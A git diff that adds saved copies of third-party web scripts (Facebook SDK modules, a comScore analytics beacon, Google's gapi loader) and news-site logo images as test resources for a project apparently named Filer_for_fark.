+__d("runOnce",[],function(a,b,c,d,e,f){function g(h){var i,j;return function(){if(!i){i=true;j=h();}return j;};}e.exports=g;});
+__d("XFBML",["Assert","copyProperties","createArrayFrom","sdk.DOM","sdk.feature","sdk.Impressions","Log","ObservableMixin","runOnce","UserAgent","SDKConfig"],function(a,b,c,d,e,f){var g=b('Assert'),h=b('copyProperties'),i=b('createArrayFrom'),j=b('sdk.DOM'),k=b('sdk.feature'),l=b('sdk.Impressions'),m=b('Log'),n=b('ObservableMixin'),o=b('runOnce'),p=c('SDKConfig'),q=b('UserAgent'),r={},s={},t=0,u=new n();function v(ca,da){return ca[da]+'';}function w(ca){return ca.scopeName?(ca.scopeName+ [...]
+__d("PluginPipe",["sdk.Content","copyProperties","guid","insertIframe","Miny","ObservableMixin","sdk.Runtime","UrlMap","UserAgent","XFBML","PluginPipeConfig","SDKConfig"],function(a,b,c,d,e,f){var g=b('sdk.Content'),h=b('copyProperties'),i=b('guid'),j=b('insertIframe'),k=b('Miny'),l=b('ObservableMixin'),m=c('PluginPipeConfig'),n=b('sdk.Runtime'),o=c('SDKConfig'),p=b('UrlMap'),q=b('UserAgent'),r=b('XFBML'),s=new l(),t=m.threshold,u=[];function v(){return !!(o.usePluginPipe&&n.getSecure()! [...]
+__d("IframePlugin",["sdk.Auth","sdk.createIframe","sdk.DOM","sdk.Event","guid","Log","ObservableMixin","PluginPipe","QueryString","resolveURI","sdk.Runtime","Type","UrlMap","sdk.XD"],function(a,b,c,d,e,f){var g=b('sdk.Auth'),h=b('sdk.createIframe'),i=b('sdk.DOM'),j=b('sdk.Event'),k=b('guid'),l=b('Log'),m=b('ObservableMixin'),n=b('PluginPipe'),o=b('QueryString'),p=b('resolveURI'),q=b('sdk.Runtime'),r=b('Type'),s=b('UrlMap'),t=b('sdk.XD'),u={skin:'string',font:'string',width:'px',height:'p [...]
+__d("PluginTags",[],function(a,b,c,d,e,f){var g={activity:{border_color:'string',filter:'string',action:'string',max_age:'string',linktarget:'string',header:'bool',recommendations:'bool',site:'hostname'},create_event_button:{},degrees:{href:'url',limit_profile_visibility:'bool'},facepile:{href:'string',action:'string',size:'string',max_rows:'string',show_count:'bool'},friendpile:{href:'string',action:'string',size:'string',max_rows:'string'},follow:{href:'url',layout:'string',show_faces: [...]
+__d("sdk.Arbiter",[],function(a,b,c,d,e,f){var g={BEHAVIOR_EVENT:'e',BEHAVIOR_PERSISTENT:'p',BEHAVIOR_STATE:'s'};e.exports=g;});
+__d("sdk.XFBML.Element",["sdk.DOM","Type","ObservableMixin"],function(a,b,c,d,e,f){var g=b('sdk.DOM'),h=b('Type'),i=b('ObservableMixin'),j=h.extend({constructor:function(k){this.parent();this.dom=k;},fire:function(){this.inform.apply(this,arguments);},getAttribute:function(k,l,m){var n=g.getAttr(this.dom,k);return n?m?m(n):n:l;},_getBoolAttribute:function(k,l){var m=g.getBoolAttr(this.dom,k);return m===null?l:m;},_getPxAttribute:function(k,l){return this.getAttribute(k,l,function(m){var [...]
+__d("sdk.XFBML.IframeWidget",["sdk.Arbiter","sdk.Auth","sdk.Content","copyProperties","sdk.DOM","sdk.Event","sdk.XFBML.Element","guid","insertIframe","QueryString","sdk.Runtime","sdk.ui","UrlMap","sdk.XD"],function(a,b,c,d,e,f){var g=b('sdk.Arbiter'),h=b('sdk.Auth'),i=b('sdk.Content'),j=b('copyProperties'),k=b('sdk.DOM'),l=b('sdk.Event'),m=b('sdk.XFBML.Element'),n=b('guid'),o=b('insertIframe'),p=b('QueryString'),q=b('sdk.Runtime'),r=b('sdk.ui'),s=b('UrlMap'),t=b('sdk.XD'),u=m.extend({_if [...]
+__d("sdk.XFBML.Comments",["sdk.Event","sdk.XFBML.IframeWidget","QueryString","sdk.Runtime","UrlMap","UserAgent","SDKConfig"],function(a,b,c,d,e,f){var g=b('sdk.Event'),h=b('sdk.XFBML.IframeWidget'),i=b('QueryString'),j=b('sdk.Runtime'),k=c('SDKConfig'),l=b('UrlMap'),m=b('UserAgent'),n=h.extend({_visibleAfter:'immediate',_refreshOnAuthChange:true,setupAndValidate:function(){var o={channel_url:this.getChannelUrl(),colorscheme:this.getAttribute('colorscheme'),numposts:this.getAttribute('num [...]
+__d("sdk.XFBML.CommentsCount",["sdk.Data","sdk.DOM","sdk.XFBML.Element","sprintf"],function(a,b,c,d,e,f){var g=b('sdk.Data'),h=b('sdk.DOM'),i=b('sdk.XFBML.Element'),j=b('sprintf'),k=i.extend({process:function(){h.addCss(this.dom,'fb_comments_count_zero');var l=this.getAttribute('href',window.location.href);g._selectByIndex(['commentsbox_count'],'link_stat','url',l).wait(ES5(function(m){var n=m[0].commentsbox_count;h.html(this.dom,j('<span class="fb_comments_count">%s</span>',n));if(n>0)h [...]
+__d("sdk.Anim",["sdk.DOM"],function(a,b,c,d,e,f){var g=b('sdk.DOM'),h={ate:function(i,j,k,l){k=!isNaN(parseFloat(k))&&k>=0?k:750;var m=40,n={},o={},p=null,q=setInterval(ES5(function(){if(!p)p=ES5('Date','now',false);var r=1;if(k!=0)r=Math.min((ES5('Date','now',false)-p)/k,1);for(var s in j)if(j.hasOwnProperty(s)){var t=j[s];if(!n[s]){var u=g.getStyle(i,s);if(u===false)return;n[s]=this._parseCSS(u+'');}if(!o[s])o[s]=this._parseCSS(t.toString());var v='';ES5(n[s],'forEach',true,function(w, [...]
+__d("escapeHTML",[],function(a,b,c,d,e,f){var g=/[&<>"'\/]/g,h={'&':'&','<':'<','>':'>','"':'"',"'":''','/':'/'};function i(j){return j.replace(g,function(k){return h[k];});}e.exports=i;});
+__d("sdk.Helper",["sdk.ErrorHandling","sdk.Event","safeEval","UrlMap"],function(a,b,c,d,e,f){var g=b('sdk.ErrorHandling'),h=b('sdk.Event'),i=b('safeEval'),j=b('UrlMap'),k={isUser:function(l){return l<2.2e+09||(l>=1e+14&&l<=100099999989999)||(l>=8.9e+13&&l<=89999999999999);},upperCaseFirstChar:function(l){if(l.length>0){return l.substr(0,1).toUpperCase()+l.substr(1);}else return l;},getProfileLink:function(l,m,n){n=n||(l?j.resolve('www')+'/profile.php?id='+l.uid:null);if(n)m='<a class="fb [...]
+__d("sdk.XFBML.ConnectBar",["sdk.Anim","sdk.api","sdk.Auth","createArrayFrom","sdk.Data","sdk.DOM","sdk.XFBML.Element","escapeHTML","sdk.Event","format","sdk.Helper","sdk.Insights","sdk.Intl","sdk.Runtime","UrlMap","UserAgent","ConnectBarConfig"],function(a,b,c,d,e,f){var g=b('sdk.Anim'),h=b('sdk.api'),i=b('sdk.Auth'),j=b('createArrayFrom'),k=c('ConnectBarConfig'),l=b('sdk.Data'),m=b('sdk.DOM'),n=b('sdk.XFBML.Element'),o=b('escapeHTML'),p=b('sdk.Event'),q=b('format'),r=b('sdk.Helper'),s= [...]
+__d("sdk.XFBML.Fan",["sdk.XFBML.IframeWidget","sdk.Runtime","Log"],function(a,b,c,d,e,f){var g=b('sdk.XFBML.IframeWidget'),h=b('sdk.Runtime'),i=b('Log'),j=g.extend({_visibleAfter:'load',setupAndValidate:function(){this._attr={api_key:h.getClientID(),connections:this.getAttribute('connections','10'),css:this.getAttribute('css'),height:this._getPxAttribute('height'),id:this.getAttribute('profile-id'),logobar:this._getBoolAttribute('logo-bar'),name:this.getAttribute('name'),stream:this._get [...]
+__d("sdk.XFBML.EdgeCommentWidget",["sdk.XFBML.IframeWidget","sdk.DOM"],function(a,b,c,d,e,f){var g=b('sdk.XFBML.IframeWidget'),h=b('sdk.DOM'),i=10000,j=g.extend({constructor:function(k){this.parent(k.commentNode);this._iframeWidth=k.width+1;this._iframeHeight=k.height;this._attr={master_frame_name:k.masterFrameName,offsetX:k.relativeWidthOffset-k.paddingLeft};this.dom=k.commentNode;this.dom.style.top=k.relativeHeightOffset+'px';this.dom.style.left=k.relativeWidthOffset+'px';this.dom.styl [...]
+__d("sdk.XFBML.EdgeWidget",["sdk.XFBML.IframeWidget","sdk.XFBML.EdgeCommentWidget","sdk.DOM","sdk.Helper","sdk.Runtime"],function(a,b,c,d,e,f){var g=b('sdk.XFBML.IframeWidget'),h=b('sdk.XFBML.EdgeCommentWidget'),i=b('sdk.DOM'),j=b('sdk.Helper'),k=b('sdk.Runtime'),l=g.extend({_visibleAfter:'immediate',_showLoader:false,_rootPadding:null,setupAndValidate:function(){i.addCss(this.dom,'fb_edge_widget_with_comment');this._attr={channel_url:this.getChannelUrl(),debug:this._getBoolAttribute('de [...]
+__d("sdk.XFBML.SendButtonFormWidget",["sdk.XFBML.EdgeCommentWidget","sdk.DOM","sdk.Event"],function(a,b,c,d,e,f){var g=b('sdk.XFBML.EdgeCommentWidget'),h=b('sdk.DOM'),i=b('sdk.Event'),j=g.extend({constructor:function(k){this.parent(k);h.addCss(this.dom,'fb_send_button_form_widget');h.addCss(this.dom,k.colorscheme);h.addCss(this.dom,(typeof k.siderender!='undefined'&&k.siderender)?'siderender':'');this._attr.nodeImageURL=k.nodeImageURL;this._attr.nodeRef=k.nodeRef;this._attr.nodeTitle=k.n [...]
+__d("sdk.XFBML.Like",["sdk.XFBML.EdgeWidget","sdk.XFBML.SendButtonFormWidget"],function(a,b,c,d,e,f){var g=b('sdk.XFBML.EdgeWidget'),h=b('sdk.XFBML.SendButtonFormWidget'),i=g.extend({getUrlBits:function(){return {name:'like',params:this._attr};},_createEdgeCommentWidget:function(j,k){if('send' in this._attr&&'widget_type' in j&&j.widget_type=='send'){var l=this._getCommonEdgeCommentWidgetOpts(j,k);return new h(l);}else return this.parentCall("_createEdgeCommentWidget",j,k);},getIframeTit [...]
+__d("sdk.XFBML.LikeBox",["sdk.XFBML.EdgeWidget","sdk.Helper","Log","sdk.Runtime"],function(a,b,c,d,e,f){var g=b('sdk.XFBML.EdgeWidget'),h=b('sdk.Helper'),i=b('Log'),j=b('sdk.Runtime'),k=g.extend({_visibleAfter:'load',setupAndValidate:function(){this._attr={channel:this.getChannelUrl(),api_key:j.getClientID(),connections:this.getAttribute('connections'),css:this.getAttribute('css'),height:this.getAttribute('height'),id:this.getAttribute('profile-id'),header:this._getBoolAttribute('header' [...]
+__d("sdk.XFBML.LiveStream",["sdk.XFBML.IframeWidget"],function(a,b,c,d,e,f){var g=b('sdk.XFBML.IframeWidget'),h=g.extend({_visibleAfter:'load',setupAndValidate:function(){this._attr={app_id:this.getAttribute('event-app-id'),href:this.getAttribute('href',window.location.href),height:this._getPxAttribute('height',500),hideFriendsTab:this.getAttribute('hide-friends-tab'),redesigned:this._getBoolAttribute('redesigned-stream'),width:this._getPxAttribute('width',400),xid:this.getAttribute('xid [...]
+__d("sdk.XFBML.LoginButton",["sdk.Helper","IframePlugin"],function(a,b,c,d,e,f){var g=b('sdk.Helper'),h=b('IframePlugin'),i=h.extend({constructor:function(j,k,l,m){this.parent(j,k,l,m);var n=h.getVal(m,'on_login');if(n)this.subscribe('login.status',function(o){g.invokeHandler(n,null,[o]);});},getParams:function(){return {scope:'string',perms:'string',size:'string',login_text:'text',show_faces:'bool',max_rows:'string',show_login_face:'bool',registration_url:'url_maybe',auto_logout_link:'b [...]
+__d("sdk.XFBML.Name",["copyProperties","sdk.Data","escapeHTML","sdk.Event","sdk.XFBML.Element","sdk.Helper","Log","sdk.Runtime"],function(a,b,c,d,e,f){var g=b('copyProperties'),h=b('sdk.Data'),i=b('escapeHTML'),j=b('sdk.Event'),k=b('sdk.XFBML.Element'),l=b('sdk.Helper'),m=b('Log'),n=b('sdk.Runtime'),o=k.extend({process:function(){g(this,{_uid:this.getAttribute('uid'),_firstnameonly:this._getBoolAttribute('first-name-only'),_lastnameonly:this._getBoolAttribute('last-name-only'),_possessiv [...]
+__d("sdk.XFBML.ProfilePic",["sdk.Data","sdk.DOM","escapeHTML","sdk.XFBML.Element","sdk.Event","format","sdk.Helper","sdk.Runtime","UrlMap","ProfilePicConfig"],function(a,b,c,d,e,f){var g=b('sdk.Data'),h=b('sdk.DOM'),i=b('escapeHTML'),j=c('ProfilePicConfig'),k=b('sdk.XFBML.Element'),l=b('sdk.Event'),m=b('format'),n=b('sdk.Helper'),o=b('sdk.Runtime'),p=b('UrlMap'),q={n:'pic_big',normal:'pic_big',q:'pic_square',s:'pic',small:'pic',square:'pic_square',t:'pic_small',thumb:'pic_small'},r=k.ext [...]
+__d("sdk.XFBML.RecommendationsBar",["sdk.Arbiter","DOMEventListener","sdk.Event","sdk.XFBML.IframeWidget","resolveURI","sdk.Runtime"],function(a,b,c,d,e,f){var g=b('sdk.Arbiter'),h=b('DOMEventListener'),i=b('sdk.Event'),j=b('sdk.XFBML.IframeWidget'),k=b('resolveURI'),l=b('sdk.Runtime'),m=j.extend({getUrlBits:function(){return {name:'recommendations_bar',params:this._attr};},setupAndValidate:function(){function n(w,x){var y=0,z=null;function aa(){x();z=null;y=ES5('Date','now',false);}retu [...]
+__d("sdk.XFBML.Registration",["sdk.Auth","sdk.Helper","sdk.XFBML.IframeWidget","sdk.Runtime","UrlMap"],function(a,b,c,d,e,f){var g=b('sdk.Auth'),h=b('sdk.Helper'),i=b('sdk.XFBML.IframeWidget'),j=b('sdk.Runtime'),k=b('UrlMap'),l=i.extend({_visibleAfter:'immediate',_baseHeight:167,_fieldHeight:28,_skinnyWidth:520,_skinnyBaseHeight:173,_skinnyFieldHeight:52,setupAndValidate:function(){this._attr={action:this.getAttribute('action'),border_color:this.getAttribute('border-color'),channel_url:t [...]
+__d("sdk.XFBML.Send",["sdk.DOM","sdk.XFBML.EdgeWidget","sdk.Runtime","sdk.XFBML.SendButtonFormWidget"],function(a,b,c,d,e,f){var g=b('sdk.DOM'),h=b('sdk.XFBML.EdgeWidget'),i=b('sdk.Runtime'),j=b('sdk.XFBML.SendButtonFormWidget'),k=h.extend({setupAndValidate:function(){g.addCss(this.dom,'fb_edge_widget_with_comment');this._attr={channel:this.getChannelUrl(),api_key:i.getClientID(),font:this.getAttribute('font'),colorscheme:this.getAttribute('colorscheme','light'),href:this.getAttribute('h [...]
+__d("sdk.XFBML.SocialContext",["sdk.Event","sdk.XFBML.IframeWidget"],function(a,b,c,d,e,f){var g=b('sdk.Event'),h=b('sdk.XFBML.IframeWidget'),i=h.extend({setupAndValidate:function(){var j=this.getAttribute('size','small');this._attr={channel:this.getChannelUrl(),width:this._getPxAttribute('width',400),height:this._getPxAttribute('height',100),ref:this.getAttribute('ref'),size:this.getAttribute('size'),keywords:this.getAttribute('keywords'),urls:this.getAttribute('urls'),object_id:this.ge [...]
+__d("legacy:fb.xfbml",["Assert","sdk.domReady","sdk.Event","FB","IframePlugin","PluginTags","wrapFunction","XFBML","sdk.XFBML.Comments","sdk.XFBML.CommentsCount","sdk.XFBML.ConnectBar","sdk.XFBML.Fan","sdk.XFBML.Like","sdk.XFBML.LikeBox","sdk.XFBML.LiveStream","sdk.XFBML.LoginButton","sdk.XFBML.Name","sdk.XFBML.ProfilePic","sdk.XFBML.RecommendationsBar","sdk.XFBML.Registration","sdk.XFBML.Send","sdk.XFBML.SocialContext"],function(a,b,c,d){var e=b('Assert'),f=b('sdk.domReady'),g=b('sdk.Ev [...]
+void(0);
+}).call({}, window.inDapIF ? parent.window : window);
+} catch (e) {new Image().src="http:\/\/www.facebook.com\/" + 'common/scribe_endpoint.php?c=jssdk_error&m='+encodeURIComponent('{"error":"LOAD", "extra": {"name":"'+e.name+'","line":"'+(e.lineNumber||e.line)+'","script":"'+(e.fileName||e.sourceURL||e.script)+'","stack":"'+(e.stackTrace||e.stack)+'","message":"'+e.message+'"}}');}
\ No newline at end of file
diff --git a/src/test/resources/s/Filer_for_fark/azfamily.jpg b/src/test/resources/s/Filer_for_fark/azfamily.jpg
new file mode 100644
index 0000000..4d0b63a
Binary files /dev/null and b/src/test/resources/s/Filer_for_fark/azfamily.jpg differ
diff --git a/src/test/resources/s/Filer_for_fark/bbcnews.gif b/src/test/resources/s/Filer_for_fark/bbcnews.gif
new file mode 100644
index 0000000..524dcdc
Binary files /dev/null and b/src/test/resources/s/Filer_for_fark/bbcnews.gif differ
diff --git a/src/test/resources/s/Filer_for_fark/beacon.js b/src/test/resources/s/Filer_for_fark/beacon.js
new file mode 100644
index 0000000..e7ff1fc
--- /dev/null
+++ b/src/test/resources/s/Filer_for_fark/beacon.js
@@ -0,0 +1,7 @@
+function udm_(a,b){var c="comScore=",d=document,e=d.cookie,f="",g="indexOf",h="substring",i="length",j=2048,k,l="&ns_",m="&",n,o,p,q,r=window,s=r.encodeURIComponent||escape;if(e[g](c)+1)for(p=0,o=e.split(";"),q=o[i];p<q;p++)n=o[p][g](c),n+1&&(f=m+unescape(o[p][h](n+c[i])));a+=l+"_t="+ +(new Date)+l+"c="+(d.characterSet||d.defaultCharset||"")+"&c8="+s(d.title)+f+"&c7="+s(d.URL)+"&c9="+s(d.referrer),a[i]>j&&a[g](m)>0&&(k=a[h](0,j-8).lastIndexOf(m),a=(a[h](0,k)+l+"cut="+s(a[h](k+1)))[h](0,j [...]
+
+
+
+
+
+
diff --git a/src/test/resources/s/Filer_for_fark/bloomberg.gif b/src/test/resources/s/Filer_for_fark/bloomberg.gif
new file mode 100644
index 0000000..e7b8ab3
Binary files /dev/null and b/src/test/resources/s/Filer_for_fark/bloomberg.gif differ
diff --git a/src/test/resources/s/Filer_for_fark/buzzfeed.gif b/src/test/resources/s/Filer_for_fark/buzzfeed.gif
new file mode 100644
index 0000000..c9fa07a
Binary files /dev/null and b/src/test/resources/s/Filer_for_fark/buzzfeed.gif differ
diff --git a/src/test/resources/s/Filer_for_fark/cbc.png b/src/test/resources/s/Filer_for_fark/cbc.png
new file mode 100644
index 0000000..68b9fb7
Binary files /dev/null and b/src/test/resources/s/Filer_for_fark/cbc.png differ
diff --git a/src/test/resources/s/Filer_for_fark/cbgapi.loaded_0 b/src/test/resources/s/Filer_for_fark/cbgapi.loaded_0
new file mode 100644
index 0000000..38192df
--- /dev/null
+++ b/src/test/resources/s/Filer_for_fark/cbgapi.loaded_0
@@ -0,0 +1,208 @@
+/* JS */ gapi.loaded_0(function(_){var window=this;
+_.m=function(a){throw a;};_.p=void 0;_.r=!0;_.s=null;_.u=!1;_.aa=function(){return function(a){return a}};_.v=function(){return function(){}};_.ba=function(a){return function(c){this[a]=c}};_.y=function(a){return function(){return this[a]}};_.ca=function(a){return function(){return a}};_.C=function(a,c,f){a=a.split(".");f=f||_.D;!(a[0]in f)&&f.execScript&&f.execScript("var "+a[0]);for(var g;a.length&&(g=a.shift());)!a.length&&(0,_.F)(c)?f[g]=c:f=f[g]?f[g]:f[g]={}};
+_.da=function(a){var c=typeof a;if("object"==c)if(a){if(a instanceof window.Array)return"array";if(a instanceof window.Object)return c;var f=window.Object.prototype.toString.call(a);if("[object Window]"==f)return"object";if("[object Array]"==f||"number"==typeof a.length&&"undefined"!=typeof a.splice&&"undefined"!=typeof a.propertyIsEnumerable&&!a.propertyIsEnumerable("splice"))return"array";if("[object Function]"==f||"undefined"!=typeof a.call&&"undefined"!=typeof a.propertyIsEnumerable& [...]
+else if("function"==c&&"undefined"==typeof a.call)return"object";return c};_.F=function(a){return a!==_.p};_.ea=function(a){return"array"==(0,_.da)(a)};_.G=function(a){return"string"==typeof a};_.ga=function(a){return"function"==(0,_.da)(a)};_.ha=function(a){var c=typeof a;return"object"==c&&a!=_.s||"function"==c};_.ia=function(a,c,f){return a.call.apply(a.bind,arguments)};
+_.ja=function(a,c,f){a||(0,_.m)((0,window.Error)());if(2<arguments.length){var g=window.Array.prototype.slice.call(arguments,2);return function(){var f=window.Array.prototype.slice.call(arguments);window.Array.prototype.unshift.apply(f,g);return a.apply(c,f)}}return function(){return a.apply(c,arguments)}};_.H=function(a,c,f){_.H=window.Function.prototype.bind&&-1!=window.Function.prototype.bind.toString().indexOf("native code")?_.ia:_.ja;return _.H.apply(_.s,arguments)};
+_.la=function(a,c){var f=window.Array.prototype.slice.call(arguments,1);return function(){var c=window.Array.prototype.slice.call(arguments);c.unshift.apply(c,f);return a.apply(this,c)}};_.I=function(a,c){function f(){}f.prototype=c.prototype;a.v=c.prototype;a.prototype=new f;a.prototype.constructor=a};_._DumpException=function(a){(0,_.m)(a)};_.ma=_.ma||{};_.D=this;_.na="closure_uid_"+window.Math.floor(2147483648*window.Math.random()).toString(36);_.oa=window.Date.now||function(){return+ [...]
+_.pa=window.gapi||{};_.ra=window.gadgets||{};_.L=window.osapi=window.osapi||{};
+window.___jsl=window.___jsl||{};
+(window.___jsl.cd=window.___jsl.cd||[]).push({gwidget:{parsetags:"explicit"},appsapi:{plus_one_service:"/plus/v1"},client:{jsonpOverride:_.u},poshare:{hangoutContactPickerServer:"https://plus.google.com"},gappsutil:{required_scopes:["https://www.googleapis.com/auth/plus.me","https://www.googleapis.com/auth/plus.people.recommended"],display_on_page_ready:_.u},appsutil:{required_scopes:["https://www.googleapis.com/auth/plus.me","https://www.googleapis.com/auth/plus.people.recommended"],dis [...]
+"oauth-flow":{authUrl:"https://accounts.google.com/o/oauth2/auth",proxyUrl:"https://accounts.google.com/o/oauth2/postmessageRelay",redirectUri:"postmessage"},iframes:{sharebox:{params:{json:"&"},url:":socialhost:/:session_prefix:_/sharebox/dialog"},plus:{url:":socialhost:/u/:session_index:/_/pages/badge"},":socialhost:":"https://plusone.google.com",card:{params:{s:"#",userid:"&"},url:":socialhost:/:session_prefix:_/hovercard/internalcard"},":signuphost:":"https://plus.google.com",plusone [...]
+plus_share:{url:":socialhost:/:session_prefix:_/+1/sharebutton?plusShare=true"},plus_circle:{url:":socialhost:/:session_prefix:_/widget/plus/circle"},configurator:{url:":socialhost:/:session_prefix:_/plusbuttonconfigurator"},appcirclepicker:{url:":socialhost:/:session_prefix:_/widget/render/appcirclepicker"},":source:":"1p"},poclient:{update_session:"google.updateSessionCallback"},"googleapis.config":{methods:{"chili.people.list":_.r,"pos.plusones.list":_.r,"pos.plusones.get":_.r,"chili. [...]
+"pos.plusones.insert":_.r,"chili.activities.list":_.r,"pos.plusones.delete":_.r,"chili.activities.get":_.r,"chili.activities.search":_.r,"pos.plusones.getSignupState":_.r},requestCache:{enabled:_.r},versions:{chili:"v1",pos:"v1"},rpc:"/rpc",root:"https://www.googleapis.com","root-1p":"https://clients6.google.com",sessionCache:{enabled:_.r},transport:{isProxyShared:_.r},xd3:"/static/proxy.html",developerKey:"AIzaSyCKSbrvQasunBoV16zDH9R33D88CeLr9gQ",auth:{useInterimAuth:_.u}},drive_saver:{ [...]
+
+window.___jsl=window.___jsl||{};(window.___jsl.cd=window.___jsl.cd||[]).push({gwidget:{parsetags:"onload"},iframes:{":source:":"3p"}});
+_.ta=function(a,c,f){return a[c]=a[c]||f};_.ua=function(a){return"function"===typeof a};_.va=function(a){return(0,window.String)(a).replace(_.wa,"&").replace(_.xa,"<").replace(_.ya,">").replace(_.za,""").replace(_.Aa,"'")};_.N=function(){var a;if((a=window.Object.create)&&_.Ba.test(a))a=a(_.s);else{a={};for(var c in a)a[c]=_.p}return a};_.Ca=function(a,c){return window.Object.prototype.hasOwnProperty.call(a,c)};_.Da=function(a,c){a=a||{};for(var f in a)(0,_.Ca)(a,f)&&( [...]
+_.Ea=function(a,c){a||(0,_.m)((0,window.Error)(c||""))};_.Fa=function(a,c,f){var g=(0,window.RegExp)("([#].*&|[#])"+c+"=([^&#]*)","g");c=(0,window.RegExp)("([?#].*&|[?#])"+c+"=([^&#]*)","g");if(a=a&&(g.exec(a)||c.exec(a)))try{f=(0,window.decodeURIComponent)(a[2])}catch(h){}return f};_.Ga=function(a){a=a.match(_.Ha);var c=(0,_.N)();c.Ac=a[1];c.pb=a[3]?[a[3]]:[];c.Yf=a[5]?[a[5]]:[];return c};
+_.Ia=function(a){a=a?a.split("&"):[];for(var c=[],f=0;f<a.length;f++){var g=a[f].split("=",2);c.push([(0,window.decodeURIComponent)(g[0]),(0,window.decodeURIComponent)(g[1])])}return c};_.Ja=function(a){return a.Ac+(0<a.pb.length?"?"+a.pb.join("&"):"")+(0<a.Yf.length?"#"+a.Yf.join("&"):"")};_.Ka=function(a){var c=[];if(a)for(var f in a)(0,_.Ca)(a,f)&&a[f]!=_.s&&c.push((0,window.encodeURIComponent)(f)+"="+(0,window.encodeURIComponent)(a[f]));return c};
+_.La=function(a,c,f){a=(0,_.Ga)(a);a.pb.push.apply(a.pb,(0,_.Ka)(c));a.Yf.push.apply(a.Yf,(0,_.Ka)(f));return(0,_.Ja)(a)};_.Ma=function(a,c){var f=a.createElement("div"),g=a.createElement("a");g.href=c;f.appendChild(g);f.innerHTML=f.innerHTML;c=(0,window.String)(f.firstChild.href);f.parentNode&&f.parentNode.removeChild(f);return c};_.Na=function(a){for(;a.firstChild;)a.removeChild(a.firstChild)};_.Oa=function(a){return!_.Pa.dpo?(0,_.Fa)(a,"jsh",_.Pa.h):_.Pa.h};
+_.Qa=function(a){return(0,_.Fa)(a,"_bsh",_.Pa.bsh)};_.Ra=function(){return(0,_.ta)(_.Pa,"WI",(0,_.N)())};_.Sa=function(){return _.Pa.ssfn};_.Ta=function(){return _.Pa.onl};_.Ua=function(a){_.Pa.onl=a};_.Va=function(a){var c=window.___jsl=window.___jsl||{};c[a]=c[a]||[];return c[a]};_.Wa=function(a){var c=window.___jsl=window.___jsl||{};c.cfg=!a&&c.cfg||{};return c.cfg};_.Xa=function(a){return"object"===typeof a&&/\[native code\]/.test(a.push)};
+_.Ya=function(a,c){if(c)for(var f in c)c.hasOwnProperty(f)&&(a[f]&&c[f]&&"object"===typeof a[f]&&"object"===typeof c[f]&&!(0,_.Xa)(a[f])&&!(0,_.Xa)(c[f])?(0,_.Ya)(a[f],c[f]):c[f]&&"object"===typeof c[f]?(a[f]=(0,_.Xa)(c[f])?[]:{},(0,_.Ya)(a[f],c[f])):a[f]=c[f])};
+_.Za=function(a){if(a&&!/^\s+$/.test(a)){for(;0==a.charCodeAt(a.length-1);)a=a.substring(0,a.length-1);var c;try{c=window.JSON.parse(a)}catch(f){}if("object"===typeof c)return c;try{c=(new window.Function("return ("+a+"\n)"))()}catch(g){}if("object"===typeof c)return c;try{c=(new window.Function("return ({"+a+"\n})"))()}catch(h){}return"object"===typeof c?c:{}}};
+_.$a=function(a){(0,_.Wa)(_.r);var c=window.___gcfg,f=(0,_.Va)("cu");if(c&&c!==window.___gu){var g={};(0,_.Ya)(g,c);f.push(g);window.___gu=c}var c=(0,_.Va)("cu"),h=window.document.scripts||window.document.getElementsByTagName("script")||[],g=[],l=[];l.push.apply(l,(0,_.Va)("us"));for(var n=0;n<h.length;++n)for(var q=h[n],t=0;t<l.length;++t)q.src&&0==q.src.indexOf(l[t])&&g.push(q);0==g.length&&(0<h.length&&h[h.length-1].src)&&g.push(h[h.length-1]);for(h=0;h<g.length;++h)g[h].getAttribute( [...]
+(g[h].setAttribute("gapi_processed",_.r),(l=g[h])?(n=l.nodeType,l=3==n||4==n?l.nodeValue:l.textContent||l.innerText||l.innerHTML||""):l=_.p,(l=(0,_.Za)(l))&&c.push(l));a&&(g={},(0,_.Ya)(g,a),f.push(g));g=(0,_.Va)("cd");a=0;for(c=g.length;a<c;++a)(0,_.Ya)((0,_.Wa)(),g[a]);g=(0,_.Va)("ci");a=0;for(c=g.length;a<c;++a)(0,_.Ya)((0,_.Wa)(),g[a]);a=0;for(c=f.length;a<c;++a)(0,_.Ya)((0,_.Wa)(),f[a])};
+_.O=function(a,c){if(!a)return(0,_.Wa)();for(var f=a.split("/"),g=(0,_.Wa)(),h=0,l=f.length;g&&"object"===typeof g&&h<l;++h)g=g[f[h]];return h===f.length&&g!==_.p?g:c};_.ab=function(a,c){var f=a;if("string"===typeof a){for(var g=f={},h=a.split("/"),l=0,n=h.length;l<n-1;++l)var q={},g=g[h[l]]=q;g[h[l]]=c}(0,_.$a)(f)};_.bb=function(){var a=window.__GOOGLEAPIS;a&&(a.googleapis&&!a["googleapis.config"]&&(a["googleapis.config"]=a.googleapis),(0,_.ta)(_.Pa,"ci",[]).push(a),window.__GOOGLEAPIS= [...]
+_.db=window;_.eb=window.document;_.Ba=/\[native code\]/;_.wa=/&/g;_.xa=/</g;_.ya=/>/g;_.za=/"/g;_.Aa=/'/g;_.fb=(0,_.ta)(_.db,"gapi",{});_.Ha=/^([^?#]*)(\?([^#]*))?(\#(.*))?$/;_.Pa=(0,_.ta)(_.db,"___jsl",(0,_.N)());(0,_.ta)(_.Pa,"I",0);(0,_.ta)(_.Pa,"hel",10);_.bb&&(0,_.bb)();(0,_.$a)();(0,_.P)("gapi.config.get",_.O);(0,_.P)("gapi.config.update",_.ab);
+
+_.lb=function(a,c,f,g,h){if(a[g+"EventListener"])a[g+"EventListener"](c,f,_.u);else if(a[h+"tachEvent"])a[h+"tachEvent"]("on"+c,f)};
+_.mb={go:{},J:{}};_.nb={go:{},J:{}};
+
+
+_.R=_.R||{};
+_.R=_.R||{};_.R.Hg=function(a,c,f){for(var g=[],h=2,l=arguments.length;h<l;++h)g.push(arguments[h]);return function(){for(var f=g.slice(),h=0,l=arguments.length;h<l;++h)f.push(arguments[h]);return c.apply(a,f)}};_.R.of=function(a){var c,f,g={};for(c=0;f=a[c];++c)g[f]=f;return g};
+
+_.ub=function(a,c){return window.String.fromCharCode(c)};_.R=_.R||{};_.vb={"0":_.u,10:_.r,13:_.r,34:_.r,39:_.r,60:_.r,62:_.r,92:_.r,8232:_.r,8233:_.r,65282:_.r,65287:_.r,65308:_.r,65310:_.r,65340:_.r};_.R.escape=function(a,c){if(a){if("string"===typeof a)return _.R.Tf(a);if("array"===typeof a)for(var f=0,g=a.length;f<g;++f)a[f]=_.R.escape(a[f]);else if("object"===typeof a&&c){f={};for(g in a)a.hasOwnProperty(g)&&(f[_.R.Tf(g)]=_.R.escape(a[g],_.r));return f}}return a}; _.R.Tf=function(a){ [...]
+
